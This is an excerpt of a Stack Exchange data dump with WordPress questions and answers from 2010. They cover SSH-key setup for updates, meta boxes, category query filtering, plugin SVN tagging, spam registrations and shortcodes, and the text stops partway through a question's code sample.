  <row Id="2027" PostTypeId="2" ParentId="1952" CreationDate="2010-09-21T00:12:43.940" Score="1" ViewCount="" Body="&lt;p&gt;This Question was answered on ServerFault by the asker.  I am adding his answer here as a community wiki.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full solution, thanks to &lt;a href=&quot;http://serverfault.com/users/14033/michaelmior&quot;&gt;michaelmior&lt;/a&gt; for his help, it got me half way.&lt;/p&gt; &#xA;&#xA;&lt;ol&gt; &#xA;&lt;li&gt;&lt;p&gt;Run this command to generate keys: &lt;code&gt;ssh-keygen&lt;/code&gt;&lt;/p&gt; &#xA;&#xA;&lt;p&gt;You'll get this output:&lt;/p&gt; &#xA;&#xA;&lt;pre&gt;&lt;code&gt;Generating public/private rsa key pair.&#xA;Enter file in which to save the key (/home/user1/.ssh/id_rsa):&#xA;Created directory ‘/home/user1/.ssh’.&#xA;Enter passphrase (empty for no passphrase): (just hit enter, no need for a password)&#xA;Enter same passphrase again: (same thing, hit enter again)&#xA;Your identification has been saved in /home/user1/.ssh/id_rsa.&#xA;Your public key has been saved in /home/user1/.ssh/id_rsa.pub.&#xA;The key fingerprint is:&#xA;xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx user1@server1.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt; &#xA;&lt;li&gt;&lt;p&gt;Add the public key to your &lt;code&gt;authorized_keys&lt;/code&gt; file&lt;/p&gt;&lt;/li&gt; &#xA;&lt;li&gt;&lt;p&gt;Move the &lt;code&gt;id_rsa&lt;/code&gt; and &lt;code&gt;id_rsa.pub&lt;/code&gt; to &lt;code&gt;/usr/local&lt;/code&gt;&lt;/p&gt;&lt;/li&gt; &#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;chown&lt;/code&gt; the files to the same user as your webserver (in my case apache)&lt;/p&gt;&lt;/li&gt; &#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;chmod&lt;/code&gt; the files to 600: &lt;code&gt;chmod 600 id_rsa*&lt;/code&gt;&lt;/p&gt;&lt;/li&gt; &#xA;&lt;/ol&gt; &#xA;&#xA;&lt;p&gt;This should now work.&lt;/p&gt; &#xA;&#xA;&lt;p&gt;However, my installation kept hanging, a quick look at the httpd error_log file show me:&lt;/p&gt; &#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Allowed memory size of 33554432 bytes exhausted (tried to allocate 2966269 bytes) in /var/www/sites/....&#xA;&lt;/code&gt;&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;Adding this code to the Wordpress &lt;code&gt;wp-config.php&lt;/code&gt; file to temporally increase the amount of memory available:&lt;/p&gt; &#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '64M');&#xA;&lt;/code&gt;&lt;/pre&gt; &#xA;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-21T00:12:43.940" CommunityOwnedDate="2010-09-21T00:12:43.940" />
  <row Id="2028" PostTypeId="2" ParentId="2026" CreationDate="2010-09-21T00:33:58.473" Score="4" ViewCount="" Body="&lt;p&gt;The difference between normal and advanced is that normal will be placed on the page before advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the following will display &quot;One&quot; before &quot;Two&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_init_test() {&#xA;    add_meta_box('one', __('One'), 'test_one', 'post', 'advanced');&#xA;    add_meta_box('two', __('Two'), 'test_two', 'post', 'normal');&#xA;}&#xA;add_action('admin_init', 'admin_init_test');&#xA;&#xA;function test_two() {&#xA;    echo &quot;&amp;lt;p&amp;gt;test_two&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;function test_one() {&#xA;    echo &quot;&amp;lt;p&amp;gt;test_one&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you switch the context parameter around, then &quot;Two&quot; will display before &quot;One&quot; on the edit page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('one', __('One'), 'test_one', 'post', 'normal');&#xA;add_meta_box('two', __('Two'), 'test_two', 'post', 'advanced');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if you reorder the meta boxes yourself by dragging them around then that order is saved and seems to take precedence over the 'normal' and 'advanced' contexts.&lt;/p&gt;&#xA;" OwnerUserId="580" LastEditorUserId="580" LastEditorDisplayName="" LastEditDate="2010-09-21T00:41:49.557" LastActivityDate="2010-09-21T00:41:49.557" CommentCount="1" />
  <row Id="2030" PostTypeId="2" ParentId="2023" CreationDate="2010-09-21T05:08:49.767" Score="2" ViewCount="" Body="&lt;p&gt;RSS widget uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fetch_feed()&lt;/code&gt;&lt;/a&gt; function, which is setting default cache lifetime to 43200 seconds (12 hours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this value is filtered it can be overridden (as can feed cache overall). I did encounter plugin once, whose developer citing &lt;em&gt;performance reasons&lt;/em&gt; completely disabled feed caching for all feeds.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T05:08:49.767" CommentCount="2" />
  <row Id="2031" PostTypeId="1" CreationDate="2010-09-21T08:05:58.923" Score="0" ViewCount="471" Body="&lt;p&gt;The scenario is, some posts have one category, ok. Some others have more than one category.&#xA;I must create post with content and also slideshow thumbnails for use with Nivo plugin gallery. Ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to filter all the posts in the &quot;slideshow&quot; category when in index pages, so I use a simply &lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts($query_string . '&amp;amp;cat=-1,-36');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category number 1 is &quot;Undefined&quot;, and number 36 is &quot;Slideshow&quot;. Ok. But... I have some posts that have another category, lets say, number 50, &quot;Applications&quot; and I wanna show these posts, despite they are too in &quot;Slideshow&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find the way to say WP &quot;show me posts, except the ones in categories 1 and 36, but show me them if they have more categories&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling and reading a ton of docs and pages I haven't found any way to know the categories count by post (not how many posts by category), maybe to build a query like &quot;show me that, filter that EXCEPT if count(categories are my post present) &gt; 2  ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" LastActivityDate="2010-09-21T17:06:30.687" Title="How to filter post from categories only if the posts appears in one of them, not the other?" Tags="&lt;categories&gt;&lt;filters&gt;&lt;query&gt;" AnswerCount="4" />
  <row Id="2032" PostTypeId="2" ParentId="2031" CreationDate="2010-09-21T08:34:33.497" Score="1" ViewCount="" Body="&lt;p&gt;I think your logic is too complicated. Setting up &lt;code&gt;query_posts()&lt;/code&gt; is essentially setting up MySQL query for database. No way query would be able to easily count amount of assigned categories on the fly and run conditions against that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's flip your condition. Instead of &lt;strong&gt;posts that aren't in slideshow category alone&lt;/strong&gt; we can do much simpler &lt;strong&gt;posts that belong to any category other than slideshow&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories( array( 'exclude' =&amp;gt; '1,36' ) );&#xA;$include = array();&#xA;&#xA;foreach ( $categories as $category )&#xA;    $include[] = $category-&amp;gt;term_id;&#xA;&#xA;query_posts( array( 'category__in' =&amp;gt; $include ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS I'd consider some other way to mark posts for slideshow (like meta field) and not mix it with categories altogether.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-21T08:42:41.857" LastActivityDate="2010-09-21T08:42:41.857" />
  <row Id="2033" PostTypeId="2" ParentId="2031" CreationDate="2010-09-21T08:34:36.307" Score="0" ViewCount="" Body="&lt;p&gt;so you want  a loop that will display posts that are in cat 50, but not in cat 36?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tried it, but could you do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts($query_string . '&amp;amp;cat=50,-36');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Failing that, you'll need all the post id's from the category you want to exclude:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$excluded_category = WP_Query($query_string . '&amp;amp;cat=36');&#xA;//array of just the post info&#xA;$excluded_posts = $excluded_category-&amp;gt;posts;//might be 'post', and not 'posts'??&#xA;//get just the ID's of the post into an array&#xA;foreach ($excluded_posts as $post){&#xA;    $excluded_post_ids[] = $post-&amp;gt;id;&#xA;}&#xA;//query for required category&#xA;$required_category = WP_Query($query_string . '&amp;amp;cat=50');&#xA;&#xA;//start the loop&#xA;if($required_category-&amp;gt;have_posts()):while ($required_category-&amp;gt;have_posts()): $required_category-&amp;gt;thepost();?&amp;gt;&#xA;&#xA;//filter out unwanted category&#xA;if (!in_array(get_the_ID(),$excluded_post_ids):&#xA;&#xA;&#xA;//your loop here&#xA;&#xA;&#xA;endif;&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is from memory, so may need some debugging.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-21T08:34:36.307" CommentCount="2" />
  <row Id="2034" PostTypeId="2" ParentId="2031" CreationDate="2010-09-21T08:55:56.200" Score="0" ViewCount="" Body="&lt;p&gt;Another method would just be to use custom post types, rather than standard posts. You can use taxonomies to connect differing post types when required.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-21T08:55:56.200" />
  <row Id="2035" PostTypeId="1" AcceptedAnswerId="2037" CreationDate="2010-09-21T08:57:46.087" Score="0" ViewCount="41" Body="&lt;p&gt;I have a fair amount of content in wordpress pages that gradually gets out of date over time.  I can have an 'offline' process to set reminders in my calendar to remind me to review particular pages and bring them up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I was wondering if there is a way (with a plugin perhaps) to have WordPress put the pages into a 'needs review' state a certain amount of time after it was last edited.  This would keep the page live, but prompts me to review the content.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2010-09-21T09:49:29.343" Title="Prompting for review / reapproval of page content" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="2036" PostTypeId="1" CreationDate="2010-09-21T09:20:41.013" Score="1" ViewCount="233" Body="&lt;p&gt;I have made a custom post type called &quot;Case Studies&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a case studies page which displays the title of every custom post and a small exceprt. However when you click on the title to view the single post, on the navigation the current tab changes from &quot;&lt;code&gt;Case studies&lt;/code&gt;&quot; to &quot;&lt;code&gt;News&lt;/code&gt;&quot;. Where news is the default post page and case studies is a templated page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make the custom post type a child of the &lt;code&gt;Case Studies&lt;/code&gt; page? Or atleast set a template file that I can use for the custom post type. When you view a single &lt;code&gt;case study&lt;/code&gt; post I need the navigation to show that you are still on the &lt;code&gt;Case Studies&lt;/code&gt; page and not on News.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="957" LastActivityDate="2010-10-25T01:46:55.440" Title="Custom post types" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="2037" PostTypeId="2" ParentId="2035" CreationDate="2010-09-21T09:49:29.343" Score="1" ViewCount="" Body="&lt;p&gt;I tend to look for simple solutions so my suggestion is to query pages, sort by modified day and display in Dashboard widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_dashboard_setup', 'add_old_pages_widget' );&#xA;&#xA;function add_old_pages_widget() {&#xA;&#xA;    wp_add_dashboard_widget( 'oldpages', 'Oldest Pages', 'old_pages' );&#xA;}&#xA;&#xA;function old_pages() {&#xA;&#xA;    $pages = get_pages( array(&#xA;    'sort_column' =&amp;gt; 'post_modified'&#xA;    ) );&#xA;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;    foreach ( $pages  as $page) {&#xA;&#xA;    $edited = human_time_diff( strtotime($page-&amp;gt;post_modified) );&#xA;    $link = get_edit_post_link( $page-&amp;gt;ID );&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$link}'&amp;gt;{$page-&amp;gt;post_title}&amp;lt;/a&amp;gt; ( edited {$edited} ago )&amp;lt;/li&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can be modified to hide if no pages old enough, etc, etc.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T09:49:29.343" CommentCount="1" />
  <row Id="2038" PostTypeId="1" AcceptedAnswerId="2042" CreationDate="2010-09-21T10:12:43.297" Score="2" ViewCount="113" Body="&lt;p&gt;The idea here is to have a site (any site) which somehow has the user's WordPress user-name and login (maybe as part of a sister site) to allow him to write a post on his own blog. The idea I have now is basically a simple form sent (perhaps with curl or socket) to the user's blog admin_ajax.php, even though it is strictly not an AJAX call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other methods which I could try or is there something built into WordPress itself already?&lt;/p&gt;&#xA;" OwnerUserId="945" LastActivityDate="2011-01-16T13:33:33.560" Title="Allowing a user to write a post from another website?" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="2039" PostTypeId="2" ParentId="1529" CreationDate="2010-09-21T10:18:08.047" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;query_posts( array('orderby' =&amp;gt; 'comment_count', 'order'=&amp;gt;'DESC') )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should do it.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-21T11:43:59.437" LastActivityDate="2010-09-21T11:43:59.437" />
  <row Id="2040" PostTypeId="1" AcceptedAnswerId="2082" CreationDate="2010-09-21T10:20:14.190" Score="6" ViewCount="417" Body="&lt;p&gt;I want to turn the comments off by default with pages and custom post-types&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I simply used conditionals in the comments display function to avoid displaying the block on these pages, but I need the user to be able to turn the comments back on as required.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-06-24T08:10:20.293" Title="setting comments off as default for pages and custom post types?" Tags="&lt;comments&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="4" />
  <row Id="2041" PostTypeId="1" AcceptedAnswerId="2043" CreationDate="2010-09-21T10:21:38.890" Score="1" ViewCount="198" Body="&lt;p&gt;Hi to all&#xA;I made a wordpress plugin amtythumb post. All previous versions are reflected at worpress SVN within some hours. But this time 5.5 version of my plugin is not being reflected on wordpress plugin site even after 3-4 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just check wordpress plugin site wordpress.org/extend/plugins/amty-thumb-recent-post/&#xA;And SVN for confirmation, &lt;a href=&quot;http://plugins.svn.wordpress.org/amty-thumb-recent-post/amty-thumb-recent-post/tags/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/amty-thumb-recent-post/amty-thumb-recent-post/tags/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what to do...&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-18T12:54:36.883" LastActivityDate="2011-03-28T15:55:00.580" Title="My new WordPress plugin version is not showing up in the plugin directory. It's been 4 days what could the problem be?" Tags="&lt;plugin-development&gt;&lt;subversion&gt;&lt;repository&gt;" AnswerCount="1" />
  <row Id="2042" PostTypeId="2" ParentId="2038" CreationDate="2010-09-21T10:46:07.923" Score="3" ViewCount="" Body="&lt;p&gt;WordPress &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;supports XML-RPC protocol&lt;/a&gt; for such things. That is how desktop blogging clients work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can try to set it up via &lt;a href=&quot;http://codex.wordpress.org/Post_to_your_blog_using_email&quot; rel=&quot;nofollow&quot;&gt;post by email&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T10:46:07.923" CommentCount="1" />
  <row Id="2043" PostTypeId="2" ParentId="2041" CreationDate="2010-09-21T10:51:37.713" Score="5" ViewCount="" Body="&lt;p&gt;@articlestack &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://plugins.trac.wordpress.org/changeset/290503/amty-thumb-recent-post&quot; rel=&quot;nofollow&quot;&gt;trac revision log&lt;/a&gt; you added a new directory under your root with the same name as the plugin.  It looks like your whole root directory got copied to the new directory because it contains all the tagged versions and trunk.  The plugin bot will not be able to find your newly tagged version unless it's in trunk or the new version is tagged in root/tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix it by moving 5.5 back into the root tags dir.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my-local-dir/$ svn cp amty-thumb-recent-post/trunk tags/5.5&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then delete the extra dir &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my-local-dir/$ svn del ampty-thumb-recent-post&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and check it back in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my-local-dir/$ svn ci -m &quot;tagging version 5.5&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UPqcp.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-21T10:51:37.713" CommentCount="4" />
  <row Id="2044" PostTypeId="1" AcceptedAnswerId="2045" CreationDate="2010-09-21T12:05:02.883" Score="2" ViewCount="183" Body="&lt;p&gt;I've got a blog hosted on .wordpress.com, ie the free version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of re-activating my hosting package so I can have my own WP installation, and therefore have more customisation options open to me etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting traffic from search engines, how can I redirect this traffic to my new location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have the new one setup, I would prefer people to view that instead of my old site, what can I do to achieve this, whilst retaining my position in search engines?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-29T20:36:25.110" LastActivityDate="2011-05-09T15:19:57.237" Title="Redirecting traffic from old &quot;.WordPress.com&quot; blog to privately hosted WordPress blog?" Tags="&lt;wordpress.com&gt;&lt;seo&gt;&lt;migration&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2045" PostTypeId="2" ParentId="2044" CreationDate="2010-09-21T12:12:15.353" Score="3" ViewCount="" Body="&lt;p&gt;Didn't try this myself (self-hosted from the start), but this seems fitting guide for your situation:&#xA;&lt;a href=&quot;http://www.labnol.org/internet/migrate-wordpress-blog-to-own-domain/12776/&quot; rel=&quot;nofollow&quot;&gt;How to Migrate your Blog from WordPress.com to a Personal Domain ( Digital Inspiration )&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T12:12:15.353" CommentCount="4" />
  <row Id="2046" PostTypeId="2" ParentId="2018" CreationDate="2010-09-21T12:23:44.410" Score="0" ViewCount="" Body="&lt;p&gt;So far I found the &lt;a href=&quot;http://wordpress.org/extend/plugins/shortcoder/&quot; rel=&quot;nofollow&quot;&gt;Shortcoder&lt;/a&gt; plugin that allows me to add 20 shortcodes. For the moment this is enough and I hope the developer will solve this limiation soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason this plugin does not appear when I search by its name on Wordpress website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm open to accept new suggestions/alternatives.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-09-21T12:23:44.410" />
  <row Id="2047" PostTypeId="1" AcceptedAnswerId="2049" CreationDate="2010-09-21T12:36:51.500" Score="0" ViewCount="149" Body="&lt;p&gt;Many users with strange names, register on my blog, but don't leave comments. Should I be afraid, that this might be attack of some sort. Maybe someone found some sort of bug in Wordpress which allows to penetrate security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any actions I should take?&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2010-09-21T13:10:24.347" Title="Many users with strange names register, but don't leave comments. Should I be afraid?" Tags="&lt;3.0.1&gt;&lt;registration&gt;&lt;bug-tracking&gt;" AnswerCount="2" />
  <row Id="2048" PostTypeId="2" ParentId="2047" CreationDate="2010-09-21T12:50:25.230" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any known vulnerabilities, related to registration? Not currently and not for low privilege accounts in the past.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it good idea to require registration for comments alone? No, as for me that only gives spam bots more ways to abuse your resources.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Why are they registering exactly? Who knows. Spam bots do a lot of strange things.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T12:50:25.230" CommentCount="3" />
  <row Id="2049" PostTypeId="2" ParentId="2047" CreationDate="2010-09-21T13:10:24.347" Score="2" ViewCount="" Body="&lt;p&gt;Spam bots will always try to register.  They basically just input data into any form they can find in hopes it will pull their URL on to your page so they can build trackbacks and score higher in Google rankings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of things you can do to prevent this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you don't need people to register for your site (most don't) just turn off new user registration.&lt;/li&gt;&#xA;&lt;li&gt;Install a captcha plugin for your registration form.  It won't catch everything, but it should decrease the number of bogus registrations you're seeing.  A good one I've heard of is &lt;a href=&quot;http://wordpress.org/extend/plugins/sabre/&quot; rel=&quot;nofollow&quot;&gt;Sabre&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might also want to read &lt;a href=&quot;http://lorelle.wordpress.com/2007/07/16/fighting-registration-spam-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this good article by Lorelle&lt;/a&gt; discussing anti-spam techniques with WordPress.  It's from 2007, but the tools and tips are still very relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First things first, though, would be to delete these bogus users from your database.  All they are is clutter ... if they're not real people, they don't need to be there in the first place.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-21T13:10:24.347" CommentCount="3" />
  <row Id="2050" PostTypeId="2" ParentId="1529" CreationDate="2010-09-21T13:56:04.583" Score="0" ViewCount="" Body="&lt;p&gt;Posts with recent comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments = get_comments( array(&#xA;    'status' =&amp;gt; 'approve',&#xA;    'number' =&amp;gt; 10&#xA;) );&#xA;&#xA;$include = array();&#xA;&#xA;foreach ( $comments as $comment )&#xA;    $include[] = $comment-&amp;gt;comment_post_ID;&#xA;&#xA;query_posts( array(&#xA;    'post__in' =&amp;gt; array_unique( $include )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T13:56:04.583" />
  <row Id="2051" PostTypeId="2" ParentId="2040" CreationDate="2010-09-21T14:16:51.557" Score="1" ViewCount="" Body="&lt;p&gt;According to &lt;a href=&quot;http://wordpress.org/support/topic/turn-off-comments-on-pages-by-default&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;, what you're requesting isn't possible without the use of a custom plugin or function to accomplish it.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-21T14:16:51.557" CommentCount="2" />
  <row Id="2052" PostTypeId="2" ParentId="2018" CreationDate="2010-09-21T14:27:21.740" Score="0" ViewCount="" Body="&lt;p&gt;I wouldn't recommend using someone else's plugin for this.  Just build the custom functionality into your theme or add your own plugin (using someone else's system adds overhead in terms of UI and additional information that you really don't need).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you want a custom shortcode to add your gravatar image somewhere in the post content.  Not sure why you'd need this, but hey ... it could be fun!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you want to place &lt;code&gt;[user_gravatar user=&quot;myemail@domain.com&quot; size=&quot;80&quot;]&lt;/code&gt; in your posts and pages and have it be dynamically replaced by the gravatar associated with &lt;code&gt;myemail@domain.com&lt;/code&gt; and sized to whatever value you specify (between 1px and 512px).  This is the function you'd use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function user_gravatar_sc($atts) {&#xA;    extract(shortcode_atts(array(&#xA;        'user' =&amp;gt; '',&#xA;        'size' =&amp;gt; '80'&#xA;    ), $atts));&#xA;&#xA;    if($user != '') {&#xA;        $img = 'http://www.gravatar.com/avatar/' . md5($user) . '?size=' . $size;&#xA;    } else {&#xA;        $img = 'http://www.gravatar.com/avatar/00000000000000000000000000000000' . '?size=' . $size;&#xA;    }&#xA;&#xA;    echo '&amp;lt;img src=&quot;' . $img . '&quot; /&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('user_gravatar', 'user_gravatar_sc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will take an MD5 hash of whatever email address you input and use that hash to request the user's gravatar image.  If you don't specify an email address, though, it will still return something - the default blue G gravatar placeholder.  If you don't specify a size, it will default to 80px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can drop this code into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or embed it in the body of a custom plugin running on your site.  You can see that it's not very much code, which is why I say using a 3rd party plugin with a complex UI to add the shortcode is adding too much unneeded overhead.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-21T14:27:21.740" />
  <row Id="2053" PostTypeId="2" ParentId="2040" CreationDate="2010-09-21T14:39:40.910" Score="1" ViewCount="" Body="&lt;p&gt;I'd recommend still using your conditionals in the comments display, but use options to store your conditional settings.  Then you can add a page to the Settings menu that allows administrators to turn comments on or off as needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It occurs to me that you want to set the default for commenting to &quot;off&quot; as a global setting rather than setting it to &quot;off&quot; each time you create a page.  This &lt;strong&gt;is&lt;/strong&gt; possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Settings &gt;&gt; Discussion in the WordPress admin section.  In the first section (&quot;Default Article Settings&quot; you'll see an option called &quot;Allow people to post comments on new articles&quot; ... uncheck this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, by default, comments will be turned &quot;off&quot; for all new posts, pages, and custom post types.  You can still turn comments back &quot;on&quot; on a case-by-case basis by selecting the appropriate checkbox in the &quot;Discussion&quot; meta box on the individual post/page edit screen.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-21T17:59:15.883" LastActivityDate="2010-09-21T17:59:15.883" CommentCount="3" />
  <row Id="2054" PostTypeId="1" AcceptedAnswerId="2056" CreationDate="2010-09-21T16:45:35.773" Score="0" ViewCount="151" Body="&lt;p&gt;I've a series of custom fields attached to certain pages. These fields are named slide1, slide2, side3, slide4, slide5, slide6. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are images which are going to be used as a slideshow (I'm using jflow slider for this - &lt;a href=&quot;http://net.tutsplus.com/articles/news/using-the-wonderful-jflow-plugin-screencast/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/articles/news/using-the-wonderful-jflow-plugin-screencast/&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't want to call them all 'slide' and put them in an custom field array because there may be captions for each slide, and when both slides and captions are custom field arrays, the order may not match up)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, sometimes there will be only 3 slides entered (slide1 to slide3), and sometimes all 6 slides (slide1 to slide6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not being very PHP savvy, I wonder what the best way best way to stick these custom fields into a PHP array, and then iterate thru them to print out the code, which looks a bit like the below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;slides&quot;&amp;gt;  &#xA; &amp;lt;div&amp;gt;&amp;lt;img src=&quot;qwerty.jpg&quot;&amp;gt;  &#xA;&amp;lt;/div&amp;gt;  &#xA; &amp;lt;div&amp;gt;&amp;lt;img src=&quot;foo.jpg&quot;&amp;gt;  &#xA; &amp;lt;/div&amp;gt; &#xA; &amp;lt;div&amp;gt;&amp;lt;img 